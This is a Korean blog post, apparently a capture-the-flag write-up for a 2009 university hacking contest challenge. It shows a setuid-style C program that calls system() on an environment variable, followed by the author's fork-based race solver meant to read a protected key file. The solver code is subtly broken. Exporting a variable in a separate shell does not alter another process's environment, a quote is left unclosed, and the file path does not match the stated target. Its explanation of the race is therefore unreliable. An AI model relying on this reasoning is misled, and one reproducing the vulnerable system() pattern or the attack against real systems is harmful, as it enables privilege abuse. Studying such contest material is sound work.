/*
* http://sosal.tistory.com/
* made by so_Sal
*/
2009 11월 16~17일 24시간동안 진행된
시립대학교 idea bank 해킹대회 chal0 문제입니다.
아래는 문제 소스입니다. (바로 공개되었습니다.)
/home/chal1/keyfile 을 읽어라! 가 문제의 목적입니다.
//----------- 문제 소스 chal0 -------------//
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char * argv[])
{
int loop;
char buffer[512];
memset(buffer, 0, sizeof(buffer));
if (argc != 2) return 0;
if (strlen(argv[1]) >= 30) return 0;
for (loop = 0; loop < strlen(argv[1]); loop++)
{
if (argv[1][loop] != '/' && !isalnum(argv[1][loop]))
{
argv[1][loop] = '_'; //특수문자 필터링
}
}
sprintf(buffer, "%s.akkka", argv[1]); //문자열 끝에 akkka 추가
setenv("PFILEAKKKA", buffer, 1);
return system("/bin/cat $PFILEAKKKA");
}
// ---------- 문제 소스 ----------- //
특수문자를 필터링하고, 끝에 .akkka를 넣는 점에서
어떻게 해보시려 했다면.. 이미 시간은 over!
이문제의 요점은 마지막 2문장에 있습니다.
setenv("PFILEAKKKA", buffer, 1);
return system("/bin/cat $PFILEAKKKA");
PFILEAKKKA 라는 환경변수를 buffer의 값으로 추가하는데,
세번째 인자 1의 뜻은, 이미 똑같은 이름으로 환경변수가 정의되어 있다면
덮어 쓰라는 뜻입니다. 0일 경우에, 이미 같은이름의 환경변수가 존재한다면
환경변수를 새로 등록하지 않습니다.
$ + 환경변수 이름 .. 을 통하여 변수처럼 사용할 수 있습니다.
setenv 함수로 PFILEAKKKA
그 값으로 cat 프로그램을 실행시키는데,
우리는 이 두 함수의 사이 간격을 노리면 됩니다.
setenv -> 다시 또 환경변수를 바꿈 -> system("/bin/cat.... ) 실행!!
그렇게 되면 /home/chal1/keyfile 을 읽을 수 있습니다.
저는 다중 프로세스로 코드를 짰습니다.
#include<stdio.h>
#include<stdlib.h>
int main(void){
pid_t pid;
pid = fork();
if(pid==0){
int i=0;
for(i=0;i<1000;i++){
system("/uoscon/chal0 a&"); //프로그램을 동시에 1000번을 실행하면서
}
}
else{
int i=0;
for(i=0;i<1000;i++){
system("export PFILEAKKKA='/home/chal0/keyfile"); //환경변수를 우리가 원하는 값으로 계속 바꿔줍니다.
}
}
}
1000번정도만 실행해주면
결국 setenv 와 return system() 함수 사이에 환경변수를 등록하는 부분이 생길것입니다. !!
system 함수에 " > " 다이렉션 기능을 추가해주시면
저장한다면 더 쉽게 답을 찾을 수 있습니다.
'Major Study. > System hacking' 카테고리의 다른 글
Gera's InsecureProgramming (0) | 2010.04.30 |
---|---|
Linux - shared library Hijacking (3) | 2010.01.27 |
Linux - BOF metasploit을 이용한 간단한 buffer over flow (4) | 2010.01.05 |
BOF - 01.buffer over flow? 메모리 구조, 레지스터 (2) | 2009.11.01 |
시스템 보안 02.부팅초기화 스크립트 작성 문제 (0) | 2009.10.01 |